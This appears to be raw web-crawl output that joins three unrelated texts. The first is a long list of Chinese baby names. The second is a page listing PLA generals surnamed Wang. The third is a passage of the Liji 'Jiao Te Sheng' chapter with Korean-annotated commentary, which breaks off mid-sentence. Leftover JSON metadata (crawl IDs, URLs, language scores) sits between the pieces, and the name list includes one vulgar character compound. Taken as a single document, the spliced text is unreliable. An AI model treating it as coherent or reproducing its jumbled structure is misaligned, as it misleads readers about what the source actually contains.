怀梦 雨梅 冷霜 向松 迎丝 迎梅 听双 山蝶 夜梅 醉冬 巧云 雨筠 平文 青文 半蕾 幼菱 寻梅 含之 香之 含蕊 亦玉 靖荷 碧萱 寒云 向南 书雁 怀薇 思菱 忆文 翠巧 怀山 若山 向秋 凡白 绮烟 从蕾 天曼 又亦 依琴 曼彤 沛槐 又槐 元绿 安珊 夏之 易槐 宛亦 白翠 丹云 问寒 易文 傲易 青旋 思真 妙之 半双 若翠 初兰 怀曼 惜萍 初之 宛丝 寄南 小萍 幻儿 千风 天蓉 雅青 寄文 代天 春海 惜珊 向薇 冬灵 惜芹 凌青 谷芹 香巧 雁桃 映雁 书兰 盼香 向山 访烟 绮晴 傲柔 寄容 以珊 紫雪 芷容 书琴 寻桃 涵阳 怀寒 易云 雁旋 含兰 雨青 笑巧 孤蝶 映风 海风 飞之 含阳 涵兰 曼菱 冷海 灵烟 冷海 幻蓉 惜曼 海亦 忆筠 灵冬 紫玉 依烟 沛灵 丹琴 灵蕊 静绿 冰蕊 盼凝 碧雁 初珍 语枫 南绿 友芹 香琴 又蓉 雨菱 思双 痴双 海真 紫筠 易蝶 思云 小雪 天云 念雁 平绿 慕珍 访曼 念瑶 青山 又容 问绿 丹菡 傲琴 含云 惜风 乐彤 从柳 巧雁 含之 宛旋 忆梅 笑桃 凡云 沛亦 梦竹 之绿 初菡 初桃 听梦 如竹 绮寒 千蕊 采珍 沛春 痴安 曼安 痴梅 夏蓉 山天 南春 乐白 寻翠 迎荷 灵荷 南芹 凡晴 凡白 沛绿 平柔 幼柳 紫柔 安天 依菱 凌晴 巧凝 飞竹 绿波 以琴 雅珍 山彤 若松 夏海 傲夏 冷绿 半亦 丹翠 念凡 碧儿 梦凝 孤波 紫安 香萱 思柔 水翠 书柔 忆云 元之 绮柳 之霜 幻南 迎双 晓阳 半芙 书容 访松 以秋 小竹 亦梦 春儿 雪春 涵真 寒晴 乐青 依竹 初玉 夏柳 新柔 雁香 之雁 访波 半菡 冷桃 夜风 念雪 夜梅 向丝 元雪 沛安 雨琴 含天 香莲 雅蓉 从波 笑卉 山云 水秋 乐安 凡兰 平卉 雪柔 凌凡 海薇 初灵 笑曼 谷巧 寄阳 以莲 亦丝 访南 静容 亦阳 尔云 翠冬 平萱 恨烟 书萱 幻桃 新丹 巧凡 诗岚 如兰 听容 思凡 元桃 雪珊 靖香 从天 惜旋 元雪 忆枫 雁云 巧之 觅珍 代阳 靖彤 香松 安白 又春 千萱 书容 惜海 怜雁 盼山 山雁 丹冬 乐易 又之 幼芙 妙菡 又竹 天容 新槐 从之 忆夏 谷香 冷琴 乐亦 安晴 沛夏 晓菡 觅蓉 忆青 夏岚 夏梦 怜青 青灵 雪夏 梦梅 如白 慕丹 晓容 亦双 巧莲 怜冬 丹琴 怜珍 碧凡 绿亦 雨玉 沛南 从凝 傲旋 香蓉 千筠 雁凡 映凡 飞海 以烟 冰春 友翠 初芹 尔薇 凌筠 半寒 青曼 香柏 夏蝶 夜柳 念槐 紫云 翠霜 从阳 之山 紫晴 从青 静卉 凡槐 友阳 白莲 绿荷 寄菡 如旋 山冬 谷青 凝珍 灵儿 静翠 夜柳 香之 谷翠 晓易 夏丝 友旋 巧松 飞柏 绮丝 念珊 绿兰 易丹 丹琴 采蓉 水莲 盼玉 寒凡 初文 涵柳 诗之 雁翠 雪梦 妙蝶 寒蕊 夜柔 寄雪 尔卉 怜丝 秋香 白瑶 雪梅 千儿 白风 友露 香槐 从寒 元青 乐青 梦春 冷南 又萱 碧秋 访蝶 巧烟 白卉 乐槐 碧海 碧凡 绮薇 靖梅 绮风 怀南 宛阳 海青 宛芹 映柏 以烟 采冬 寒海 语蓝 南芙 盼柳 雁岚 水蕊 忆琴 千凝 若秋 傲阳 雨寒 海莲 半山 傲岚 芷瑶 向凝 小风 千冬 亦白 元春 采露 凌珍 妙松 笑容 凌芹 凝莲 如香 之山 念寒 雪琴 沛芹 妙菡 涵露 凌玉 幼筠 醉柔 春翠 晓桃 幼薇 慕玉 盼萱 语萍 安亦 丹烟 以柔 怀双 惜云 雨寒 绮冬 以文 代瑶 又儿 白凝 白真 映亦 宛风 醉梅 冷旋 安雁 秋波 绿薇 青梅 沛旋 乐菱 语蝶 凝风 问夏 寻露 语香 问容 以文 靖烟 幼柔 思蝶 书文 夏翠 觅丝 香灵 凌巧 听菡 白玉 冷天 乐冬 冬晴 傲夏 惜珊 映岚 雅蓉 孤风 芷琴 雪柏 寻文 从珍 凝梅 曼萍 若波 涵雁 含珊 宛芙 依竹 静彤 秋巧 凡珊 半松 之枫 怀丹 雅之 依山 笑薇 绮彤 静晴 谷筠 尔青 绿露 冷丹 忆南 傲桃 尔蓉 春丝 紫容 谷翠 醉曼 忆晴 亦之 小雪 寻兰 之容 依冬 梦雁 访梅 乐松 映亦 南蓉 怜丝 幻珊 含蕾 沛菱 春风 晓萍 幼南 元秋 采春 寄真 雁真 书波 映蓝 芷冬 雪蕊 含山 雪灵 妙萍 雁岚 含彤 听雁 又之 友海 安晴 半柳 白筠 冬瑶 夏易 小柳 诗夏 从玉 千灵 含冬 秋玉 南玉 孤风 映珍 以蕾 靖兰 诗云 芷蕊 妙易 寻春 冷琴 傲南 盼露 友槐 晓波 迎春 飞松 笑春 冰玉 以春 惜巧 友竹 孤真 凝荷 雪南 香彤 幼双 傲双 盼松 南儿 梦安 怀露 笑桃 念南 梦夏 访柏 夏蓝 安萱 绮南 安卉 香枫 青梅 凌易 映云 惜萱 半芙 靖晴 易蝶 天柔 如蕾 忆梅 友香 小烟 觅珍 谷文 慕双 迎山 静筠 笑曼 怜蕾 含岚 灵兰 亦云 水珊 友青 依岚 书波 寒山 迎珊 元翠 雅雪 慕柳 春芹 平柳 绿兰 初真 之蓉 晓菡 思波 青容 傲瑶 访儿 采春 丹珊 之梦 香绿 雪真 如灵 妙凡 诗巧 映梅 梦蕾 语风 乐蓝 巧双 白香 幻菱 代萱 寻山 冰云 若旋 孤梅 新雪 书波 山瑶 凡绿 夏雪 翠云 从萍 沛亦 静夏 含容 夜露 青丝 夏波 寻薇 惜真 向兰 孤双 依彤 曼萱 慕夏 听寒 依彤 语青 千波 半荷 寒易 醉天 曼玉 采薇 安儿 小柔 向卉 语阳 妙寒 听荷 秋夏 芷容 天彤 代易 依秋 问萱 海瑶 妙山 新兰 千玉 香凡 盼枫 夜瑶 醉霜 向卉 南翠 梦青 翠雪 恨蓉 梦寒 寒天 半晴 醉梦 幻瑶 碧竹 青梦 山亦 新芙 冬夏 妙旋 又珊 友凡 沛柳 青夏 安兰 灵蓝 南曼 怀儿 丹蓝 寻阳 友枫 傲菡 凡菱 平烟 映真 秋之 访薇 雁竹 迎蕊 妙蕊 雪山 天烟 冬荷 灵曼 如彤 雅枫 妙夏 语薇 妙柏 妙巧 绿柳 如夏 白兰 天春 若雪 冰丝 小春 靖薇 诗凡 凌菡 沛莲 巧芹 代儿 半双 若蓝 沛桃 凝青 凡波 又冬 绿松 千霜 从秋 觅雁 妙玉 绮灵 寻芹 香双 寄秋 初菡 新霜 幼绿 夏萍 如山 小柳 寄山 冬卉 碧芙 曼霜 幼白 采蕊 秋亦 海雁 寻云 半梦 尔露 语蓉 沛寒 幼青 痴云 宛筠 梦容 绮梅 之蕊 秋竹 天卉 海芹 宛阳 香雁 巧易 之莲 以蕾 代枫 巧风 亦海 紫夏 天柳 冷露 凌旋 芷梦 怀瑶 慕易 冬山 若芹 向梦 痴安 妙绿 觅雪 南阳 翠安 乐琴 宛南 天风 若松 如双 青柔 安寒 香山 怜莲 盼南 初霜 小真 尔容 又珍 盼菡 白珍 巧蕊 妙蓝 笑晴 痴双 白旋 绿筠 怜蕾 之梦 以岚 怀桃 千白 青亦 迎旋 青芙 语秋 冷风 寻安 尔烟 孤凡 寄柳 冰梦 绮之 若巧 宛曼 水冬 静兰 夜儿 寄萍 丹兰 丹青 雁柳 问文 从卉 宛竹 冷丝 飞菱 沛薇 怜岚 念香 尔真 问兰 采萍 盼萍 孤霜 涵芹 向雁 白松 巧风 如香 春蕊 千亦 妙风 雨雁 寒蕾 从之 曼枫 又薇 傲风 又莲 冬安 紫丹 寒珍 山桃 采霜 半芹 夏珍 向梦 安晴 恨珍 碧易 亦瑶 盼曼 凡柏 水岚 友易 初之 代春 傲萱 恨文 绮南 凌蝶 诗儿 曼萍 采菡 南卉 忆安 凡海 山枫 紫霜 静芹 忆莲 涵亦 代秋 慕波 梦兰 代萱 青彤 思丝 怀莲 安真 采冬 谷彤 新香 秋瑶 恨琴 宛瑶 盼之 芷安 绿雪 夜夏 妙丹 语卉 寻蓉 谷霜 书春 亦丝 梦真 凡菱 妙丹 绮亦 香竹 凝夏 迎凡 翠巧 雨筠 又天 含槐 孤曼 沛文 水莲 易青 新蕊 思柳 初筠 采蓝 代秋 惜梦 尔烟 谷槐 怀莲 涵菱 水蓝 访冬 半兰 又柔 冬卉 安双 冰岚 香薇 语芹 静珊 幻露 访天 静柏 凌丝 小翠 雁卉 访文 凌文 芷云 思柔 巧凡 慕山 依云 千柳 从凝 安梦 香旋 凡巧 映天 安柏 平萱 以筠 忆曼 新竹 绮露 觅儿 碧蓉 白竹 飞兰 曼雁 雁露 凝冬 含灵 初阳 海秋 香天 夏容 傲冬 谷翠 冰双 绿兰 盼易 梦山 友灵 绿竹 灵安 凌柏 秋柔 又蓝 尔竹 香天 天蓝 青枫 问芙 语海 灵珊 凝丹 小蕾 迎夏 水之 飞珍 冰夏 亦竹 飞莲 海白 元蝶 春蕾 芷天 怀绿 尔容 元芹 若云 寒烟 听筠 采梦 凝莲 元彤 觅山 痴瑶 代桃 冷之 盼秋 秋寒 慕蕊 巧夏 海亦 初晴 巧蕊 听安 芷雪 以松 梦槐 寒梅 香岚 寄柔 映冬 孤容 晓蕾 安萱 听枫 夜绿 雪莲 从丹 碧蓉 绮琴 雨文 幼荷 青柏 痴凝 初蓝 忆安 盼晴 寻冬 雪珊 梦寒 迎南 巧香 采南 如彤 春竹 采枫 若雁 翠阳 沛容 幻翠 山兰 芷波 雪瑶 代巧 寄云 慕卉 冷松 涵梅 书白 乐天 雁卉 宛秋 傲旋 新之 凡儿 夏真 静枫 痴柏 恨蕊 乐双 白玉 问玉 寄松 丹蝶 元瑶 冰蝶 访曼 代灵 芷烟 白易 尔阳 怜烟 平卉 丹寒 访梦 绿凝 冰菱 语蕊 痴梅 思烟 忆枫 映菱 访儿 凌兰 曼岚 若枫 傲薇 凡灵 乐蕊 秋灵 谷槐 觅云 水凡 灵秋 代卉 笑天 白夏 又青 冬梅 从珊 又香 雪容 以彤 冷萱 夜卉 念雁 尔阳 水荷 尔真 孤阳 之卉 依薇 妙双 醉巧 痴海 惜筠 从筠 碧白 曼珍 觅晴 寄蓉 慕雁 水丹 幼霜 凝绿 又松 丹山 元旋 怜云 觅丹 向槐 水冬 天青 语丝 怀芹 曼彤 雪绿 从冬 凌春 问风 凌寒 代蓝 幼白 山雁 若薇 芷蓝 寄蓝 谷之 海凡 新柔 靖之 涵桃 怀雁 怀桃 含云 雨凝 幻玉 寄蕾 怜双 诗丹 亦梅 向露 水竹 雨筠 书凝 紫云 冬雁 翠荷 小凝 念霜 水蕊 友槐 雅柏 青寒 夏兰 迎真 醉芙 以柳 半槐 尔晴 以儿 以菡 访旋 友容 沛海 秋荷 雪瑶 之柳 恨玉 山白 凌双 忆莲 又易 平蓝 忆蓝 寄柔 冰芹 醉竹 静筠 乐曼 紫山 巧青 安真 绿松 易雁 静梅 宛丹 忆风 依白 访真 香凝 寒绿 雨荷 雅萱 晓巧 芷枫 映梦 沛柔 初风 幼绿 盼烟 宛云 涵霜 笑真 之双 语寒 醉冬 海亦 又曼 诗青 从文 之薇 傲蕊 又旋 南绿 冰筠 巧安 采阳 巧荷 靖珍 书阳 绿云 梦萱 翠莲 采荷 千柔 幻露 代丹 安露 沛风 秋亦 之灵 静丝 以蓝 寒灵 水曼 丹旋 雅云 平青 语玉 代灵 雅松 采亦 忆青 水云 以阳男孩好听姓名大全:兆江 依诺 佳乐 润祥 锦山 誉衡 润则 蕙质 锦国 予衡 馨德 波欣 亦郓 鸣霁 爱青 严祖 晓岚 晴宇 衡沁 文生 岩祖 嘉乐 德泉 爽利 德臣 庆国 晶林 泓杰 传峰 昀巍 方相 池传 睿传 智杰 建国 域林 如庆 小雯 懿莎 辉煌 一晴 国宏 懿娴 心晴 伟姿 伟民 传灏 紫晴 洪昌 亦涵 定中 兵山 传泓 维山 炜希 亚飞 泓昌 雪晴 维予 昭含 展瑜 永好 欣晴 追远 嘉琪 维宇 传淋 亦露 维羽 世冰 鸿明 夏娃 美好 知雅 传漉 子辉 维均 芮彤 诺雅 祎均 洪林 刻俭 佳琪 魅好 岩蕲 玉清 传潞 子潇 欣坪 跃平 每好 爱书 诺涵 美浩 奕乐 美郝 豫昀 嘉琦 益铭 豫岷 知筱 美名 传濮 美铭 萧岩 颐培 美鸣 绵方 传淇 燚强 豫翌 美盟 克俭 兆幸 衡翌 美茗 传凇 知涵 衡域 美灵 一灿 增义 静思 欢欢 丽青 衡越 美凌 静诗 来者 传金 珈乐 永华 欣凌 鹏程 凤祥 传银 美义 豫衡 聪沥 健军 永桦 辰逸 浩宇 瑾瑜 皓轩 擎苍 擎宇 致远 烨磊 晟睿 文博 天佑 英杰 致远 俊驰 雨泽 烨磊 伟奇 晟睿 文博 天佑 文昊 修洁 黎昕 远航 旭尧 圣杰 俊楠 鸿涛 伟祺 荣轩 越泽 浩宇 瑾瑜 皓轩 擎苍 擎宇 志泽 子轩 睿渊 弘文 哲瀚 雨泽 楷瑞 建辉 晋鹏 天磊 绍辉 浩南 泽洋 鑫磊 鹏煊 博文 昊强 越泽 旭尧 伟宸 志泽 博超 君浩 子骞 鹏涛 炎彬 鹤轩 伟泽 越彬 风华 靖琪 明辉 伟诚 明轩 绍辉 健柏 英杰 修杰 志泽 弘文 峻熙 嘉懿 煜城 懿轩 烨伟 苑博 鹏涛 炎彬 鹤轩 伟泽 君昊 熠彤 鸿煊 博涛 苑杰 黎昕 烨霖 晋鹏 烨华 煜祺 智宸 正豪 昊然 明杰 立诚 立轩 立辉 峻熙 嘉懿 煜城 懿轩 烨华 煜祺 智宸 正豪 昊然 志泽 明杰 弘文 烨伟 苑博 鹏涛 炎彬 鹤轩 伟泽 君昊 熠彤 鸿煊 博涛 苑杰 黎昕 烨霖 哲瀚 雨泽 楷瑞 建辉 致远 俊驰 雨泽 烨磊 国豪 伟奇 文博 天佑 文昊 修杰 黎昕 远航 旭尧 英杰 圣杰 鑫鹏 俊楠 鸿涛 伟祺 荣轩 浩宇 晋鹏 瑾瑜 昊天 思聪 展鹏 笑愚 志强 炫明 雪松 思源 智渊 思淼 晓啸 天宇 浩然 文轩 鹭洋 振家 乐驹 晓博 文博 昊焱 立果 金鑫 锦程 嘉熙 鹏飞 子默 思远 浩轩 语堂 聪健 妤苗 颖淘 罗炜 锦杨 星光 奕泺 韵芷 益民 义炜 毅炜 韵琪 逸炜 达炜 力炜 璞泺 定炜 崇泺 韵凡 坤应 名莉 衡炜 春明 哲清 洪磊 兴堂 兴湘 孑帆 兴华 维瑞 俐杰 洪丹 兴荣 俐节 沁雨 兴爱 红丹 俐佳 安泰 俐君 福勇 兴奇 虹雨 培新 月岑 雯佳 靖华 月妤 航勇 海科 焕成 一漩 学平 新峰 来要 玉超 颖欣 琦验 樱姝 灼昕 培峰 士贤 书华 兼囯 建业 如烟 少云 业行 有乔 立新 校囯 海言 光辉 沛言 长青 彦言 培嵩 雪云 彦兵 健民 彦宾 乾囯 时华 宏光 松鸣 锦华 军平 松稼 旭航 松兰 炳兰 少宁 松良 秀朝 中喜 展鸣 胡兰 彦熙 彦禧 文飞 彦波 富银 彦屄 茂贤 淑香 洋成 馥瑞 本康 容伊 志勇 宝影 品声 伟康 志楷 品言 新年 泠斌 蕊瑞 志佳 璧宁 厚军 厚源 雨洋 羽真 强强 馥连 蕊菁 如真 康庆 羽纯 言卿 智勇 定峰 蕊瑗 锦蓓 江凝 红兵 茗峰 科业 记言 红延 如姬 校国 羽姗 梦如 宏娇 弘娇 蕊嘉 梦菲 家池 梦伊 子华 馥毓 雨晗 璐菲 馥凤 璐瑞 雪容 书含 金元 乙默 涛阳 兴碧 全民 祚玮 逢厅 纹龙 文龙 庆敏 松钧 玮帅 锡珺 锦容 振宇 敬垚 凯岳 永佳 黎明 培益 辰翔 富豪 稼竹 稼辛 稼金 稼音 佳烈 稼傲 文会 宇博 政翰 政思 帅宇 筱璇 佳明 春霖 鑫良 雨让 军峰 旭岩 乘麟 佳玮 顺煜 之涵 永卿 兰洵 键彬 蕊铭 方军 阳光 永辉 凤莲 小韵 宸源 业铭 锦天 翼轸 晗之 永庆 晓强 涵之 慧平 槟保 彦斌 德华 振新 垌赫 象同 苑兰 小波 扬社 晗雨 广博 兰华 晗可 恭恒 星池 一帆 凡非 泽均 晗晞 欣月 刚讲 兴海 汉华 佳欣 菁强 洪基 桓廷 佳鑫 宏基 新涛 祉江 家兴 佳馨 嘉兴 闻笛 丹凤 可心 均城 越城 可欣 一可 索菲 圣永 胜佳 祥忠 圪坤 泰良 德仁 长顺 若含 明雷 天骁 翌郓 润泽 祖明2017宝宝好听的名字大全。","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.zhangjunvip.com\/post\/206.html","date":"2021-10-25T22:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587770.37\/warc\/CC-MAIN-20211025220214-20211026010214-00562.warc.gz","language":"lzh","language_score":0.6388301849,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.6388301849365234, \"nan_Hani_score\": 0.24517789483070374, \"cmn_Hani_score\": 0.10777903348207474}","num_words":2368,"character_repetition_ratio":0.022,"word_repetition_ratio":0.003,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.637,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"时间:2023-01-09 17:54:30 | 浏览:192\n王姓将军留名青史\n中国人民解放军共有王姓将军100名,其中大将1名、上将5名、中将10名、少将84名。他们为我国的抗日战争、解放战争、维护国家的领土主权立下了汗马功劳。\n中国人民解放军大将:王树声\n王树声\n中国人民解放军上将:王平、王震、王宏坤、王建安、王新亭\n王平\n王震\n王宏坤\n王建安\n王新亭\n中国人民解放军中将:王诤、王必成、王近山、王尚荣、王宗槐、王秉璋、王恩茂、王道邦、王辉球、王紫峰。\n中国人民解放军少将:王 直、王 胜 、 王 屏 王 谦 王力生 王才贵 王之平 王义勋 王六生 王凤梧 王文介 王文轩 王文模 王云霖 王平水 王东保 王永浚 王兰麟 王再兴 王光华 王全国 王兆相 王兴纲 王远芬 王赤军 王启明 王良太 王若杰 王英高 王其梅 王奇才 王明坤 王明贵 王学清 王诚汉 王绍南 王政柱 王奎先 王贵德 王振祥 王振乾 王建青 王效明 王智涛 王集成 王蕴瑞 王德贵 王耀南 王 文 王 亢 王 晓 王大华 王全珍 王庆生 王作尧 王泮清 王定烈 王学武 王绍渊 王砚泉 王元和王阑西王 展 王 猛 王 新 王 德 王 璞 王万金 王子修 王文英 王世仁 王扶之 王希克 王良恩 王茂全 王香雄 王振东 王海廷 王海清 王银山 王淮湘 王道全 王毓淮 王静敏。\n百名当代王姓将军!\n你认识几位?","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.yunquming.cn\/391889.html","date":"2023-09-28T06:43:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510368.33\/warc\/CC-MAIN-20230928063033-20230928093033-00114.warc.gz","language":"lzh","language_score":0.5086381435,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5086381435394287, \"cmn_Hani_score\": 0.4546387493610382, \"nan_Hani_score\": 0.035849712789058685}","num_words":108,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.296,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.564,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"`\n陸氏이 曰 郊者는 祭天之名이니 用一牛라. 故.曰 特牲이라. ○石梁王氏이 曰 此篇은 皆記祭事,而雜昏,冠,兩段이라. 釋\n1-1. 郊特牲하고, 而社稷엔 大牢하며, 天子이 適諸侯이어시든 諸侯는 膳用犢하고, 諸侯이 適天子어이든 天子이 賜之禮大牢니, 貴誠之義也라. 故로 天子는 牲孕[餘證反]을 弗食也하시며, 祭帝에 弗用也하시니라.[521]\n禮에 有以少爲貴者라. 故.此二者는 皆貴特牲而賤大牢也라. 犢未有牝牡之情이라. 故.云貴其誠慤이라.\n○ 朱子이 曰. 萬物이 本乎天하고, 人本乎祖라. 故.以所出之祖로 配天地라. 周之后稷은 生於姜嫄하니, 以上은 更推不去하고, 文武之功은 起於后稷이라. 故.配天에 須以后稷하고, 嚴父는 莫大於配天이라. 宗祀文王於明堂하야 以配上帝하니, 上帝는 卽天也라. 聚天之神而言之則.謂之上帝라. 又曰.古時에 天地는 定是不合祭요, 日月,山川,百神도 亦無合共一時祭享之禮라. 又曰.五峯이 言.無北郊하고 只祭社라 하니, 便是此說이 却好라.\n○ 今按召誥에 用牲於郊.牛二는 蔡氏이 以爲祭天地는 非也라. 牛二는 帝牛稷牛也라. 社于新邑은 祭地也라. 故.用大牢라.[524-1]\n[嚴陵方氏曰於郊故謂之郊言郊以知社稷之在國言社稷以知郊之爲天地於牲言特以見大牢之非一於牢曰大以見特牲之用犢也特則牢所畜之物牢則牲所畜之地互相備也郊言特牲膳言用犢亦互相備也天子有天地之德故諸侯以事天地者事天子諸侯有社稷之功故天子以禮社稷者禮諸侯亦唯其稱而已郊用特牲而召誥言牛二者兼稷牛言之爾經言帝牛不吉以爲稷牛蓋謂是矣禮器言天子祭天特牲王制言天子社稷皆大牢掌客言王巡守殷國則國君膳以牲犢王合諸侯而饗禮則具十有二牢其言正與此合凡此則尊者常小而少卑者常大而多也天子牲孕弗食則諸侯容或食之言祭帝弗用則社稷容或用焉]\n[馬氏曰天下之物皆天之所生無物以稱其德故郊則以特天下之物皆天子之所有亦無以稱其德故諸侯則膳之以犢社稷者土穀之神而諸侯爲君守者也社稷以大牢則諸侯亦賜之大牢]\n[牝:암컷빈,谿谷,鏆孔][牡:수컷모,門關鍵,鍵][慤:삼갈각,성실][嫄:周先祖 棄의母의 字]\n1-2. 大路는 繁[盤]纓이 一就요, 先路는 三就요, 次路는 五就며. 郊엔 血이요, 大饗엔 腥이요, 三獻엔 爓[潛]이요, 一獻엔 孰이니, 至敬은 不饗味하고 而貴氣臭也니.[524-1]\n臭는 亦氣也라. 餘는 竝見前篇이니라.\n[繁:마소의배대끈반][纓:말가슴걸이]\n1-3. 諸侯이 爲賓이어든 灌用鬱鬯은 灌用臭也니 大饗엔 尙腵[丁喚反]脩而已矣니라.[524-2]\n諸侯이 來朝에 以客禮로 待之하니 是爲賓也라. 在廟中하야 行三享畢然後에 天子이 以鬱鬯之酒로 灌之하고, 諸侯이 相朝亦然하니 明貴氣臭之義也라. 周禮에 作裸字는 上公再裸而酢하고, 侯伯은 一裸而酢하고, 子男은 一裸不酢하니, 祼則使宗伯으로 酌圭瓚而裸之하고, 酢則賓酢主也라. 此大饗은 謂 主饗諸侯也라. 脯加薑桂曰 腵脩니 行饗之時에 雖設大牢之饌이나 而必先設腵脩於筵前然後에 設餘饌이라. 故.云尙腵脩也라. 此는 明不享味之義하니라.\n[長樂陳氏曰禮器與郊特牲言大路繁纓一就則同其言次路繁纓五就七就則不同者先王之路降殺以兩反此而加多焉蓋亦以兩而已大路一就先路三就則次路有五就七就者矣書言次路以兼革木二路則殷之次路五就七就庸豈一車耶鄭氏以七就爲誤是過論也又曰禮以全於天者爲尤厚近於天者爲差厚以近於人者爲差薄全於人者焉尤薄血者全於天者也腥者近於天者也爓者近於人者也孰者全於人者也郊與大饗常重於三獻之禮豈非至敬不饗味而貴氣臭哉鬱鬯陽物也腶脩陰物也用陰物所以神之尙陽物所以明之而其所以不饗味一也夫大饗於神則王之事而大饗於賓則諸侯之事於神與賓皆謂之大饗者蓋謂之大所以極其禮謂之饗所以向之]\n[嚴陵方氏曰一獻孰則饗味矣味非不敬也特不若血腥爓之至爾經曰血腥爓祭用氣也以臭生於氣故此曰氣臭腶言捶肉如腶脩則以薑桂脩之諸侯爲賓卽大饗之時天子饗諸侯於廟中然非君三重席之饗也鬱鬯可以養陽腶脩可以養陰養陽不以酒醴養陰不以犧牲則以所饗在臭而不在味故也]\n[腥:날고기성][爓:데칠섬][腶:약포단][捶:찧을추,치다,종아리치다]\n2. 大饗엔 君이 三重席而酢焉하시고, 三獻之介엔 君이 專席而酢焉하시나니, 此는 降尊以就卑也니라.[526]\n此大饗은 是諸侯相朝에 主君이 饗客之禮라. 諸侯之席은 三重이니 今兩君禮敵이라. 故席三重之席而受客之酢爵也라. 若諸侯遣卿來聘이면 卿이 禮當三獻이요, 其上介則 是大夫라. 故.謂之三獻之介라. 大夫席이 雖再重이나 今爲介하야 降一等이라. 止合專席하고 君席은 雖三重이나 今徹去兩重하고 就單席하야 受此介之酢爵하니, 是는 降國君之尊하야 以就大夫之卑也라.\n[嚴陵方氏曰禮器言諸侯之席三重兩君相見則其體相敵故其席如其數而不必增損焉至於他國之卿來聘而大夫爲之介焉位雖臣也命則君也名雖介也禮則客也其文雖殊其義則相敵故至君之受酢也降重席之尊而不與之異就專席之卑而必與之同也]\n3. 饗禘[禴]엔 有樂하고, 而食[嗣]嘗엔 無樂하니 陰陽之義也라. 凡飮은 養陽氣也요, 凡食는 養陰氣也니, 故로 春禘[禴]而秋嘗하며, 春饗孤子하며, 秋食耆老이 其義一也라. 而食嘗에 無樂하니라. 飮은 養陽氣也라. 故로 有樂하고 食는 養陰氣也라. 故로 無聲하나 凡聲은 陽也니라.[526]\n饗은 春饗孤子也요, 禴은 春祭宗廟也라. 孤子는 死事者之子孫이요, 食는 秋食耆老也요, 嘗은 秋祭宗廟也라. 周之禮는 春祠, 夏禴, 秋嘗, 冬烝하고, 春禴은 夏殷之禮也라. 饗禮는 主於酒하고, 食禮는 主於飯하니, 周制則. 四時之祭에 皆有樂이라.\n[長樂陳氏曰饗禘以飮爲主飮以天産而養陽氣故有樂食嘗以食爲主食以地産而養陰氣故無樂蓋饗禘以春食嘗以秋春爲陽秋爲陰陽則來而主長陰則往而主成故禘之有樂所以迎來嘗之無樂所以送往春饗孤子以助其長秋食耆老以順其成凡此順陰陽而已此與祭義言春禘秋嘗同而王制祭統則言夏禘秋嘗蓋夏殷之禮不同也]\n[山陰陸氏曰春饗孤子耆老亦饗焉秋食耆老孤子亦食焉知然者周官酒正凡饗耆老孤子皆共其酒又文王世子有司告以樂闋王乃命公侯伯子男及群吏反養老幼于東序知之也此一節言若繁複所謂其中必有美焉者也彼見形而不及理往往不察故君子記之如此使讀者盡心焉]\n[馬氏曰君子事死如事生事亡如事存春禘所以達其怵惕之心秋嘗所以達其悽愴之心故春饗生者之陽氣而禘死者之陽氣則有樂有樂者所以順陽氣之出也秋食生者之陰氣而嘗死者之陰氣則無樂無樂者所以順陰氣之入也故春禘而秋嘗春饗孤子秋食耆老其義一也]\n[複:겹옷복,겹칠복][禘:여름제사][禴봄제사,(礿)][闋:쉴결,마치다.闋制:삼년상을 마침,闋服][怵:두러워할출,슬프다,悽愴][惕공경할척,두려워함,근심][悽슬퍼할처,야위다][愴슬퍼할창]\n4. 鼎俎이 奇[居衣反]而籩豆이 偶는 陰陽之義也라. 籩豆之實은 水土之品也니, 不敢用褻味而貴多品은 所以交於旦[神]明之義也라.[529]\n自一鼎至九鼎이 皆奇數이니, 其十鼎者이 陪鼎이 三則.正鼎이 亦七也요, 十二鼎者이 陪鼎이 三則.正鼎이 亦九也라. 正鼎은 鼎別一俎라. 故.云.鼎俎奇也요. 籩豆偶者는 據周禮에 掌客과, 及,前篇所擧이 皆是偶數니 又詳見儀禮圖하니라.\n[長樂陳氏曰鼎俎之實以天産爲主而天産陽屬故其數奇籩豆之實以地産爲主而地産陰屬故其數偶不敢用褻味所以盡志貴多品所以盡物盡志所以交於神盡物所以交於明先儒以旦爲神其說是也]\n[嚴陵方氏曰籩之實若菱芡之類豆之實若芹蒲之類所謂水之品也籩之實若棗栗之類豆之實若菁韭之類所謂上之品也水土之品非人常所食故曰不敢用褻味或水或土所取不一故曰而貴多品]\n[菱:마름릉][芡:마름검,가시연밥][芹:미나리근.芹菹:미나리를주로하여담근김치.豆에담는제물의하나][蒲:부들포,창포포][菁순무정,부추꽃정.우거질청][韭:부추구]\n5. 賓이 入大門而奏肆夏는 示易[以豉反]以敬也라. 卒爵而樂闋. . 孔子이 屢歎之하시다. 奠酬而工升歌는 發德也라. 歌者이 在上하고 匏竹이 在下는 貴人聲也라. 樂由陽來者也요, 禮由陰作者也니 陰陽이 和而萬物이 得이니라.[530]\n燕禮則은 大門이 是寢門이요, 饗禮則大門이 是廟門也라. 肆夏는 樂章名이니 九夏는 見周禮하니라. 易以敬은 言和易中에 有嚴敬之節也요, 卒爵而樂闋은 謂賓이 至庭而樂作하고, 賓이 受獻爵拜而樂止하고, 及主人이 獻君에 樂又作하고, 君이 卒爵而樂止也라. 歎之는 歎美之也요, 奠酬而工升歌는 謂.奠置酬爵之時에 樂工이 升堂而歌하니 所以發揚主賓之德이라. 故.云,發德也요, 匏竹은 笙也라. 樂은 所以發揚道之舒暢이요, 禮는 所以肅陰道之收斂이니 一闔一闢而萬事得宜也라.\n[嚴陵方氏曰此言諸侯爲賓之禮也 故曰賓入大門奏肆夏則所以迎賓而納之且能易則賓主之情不離 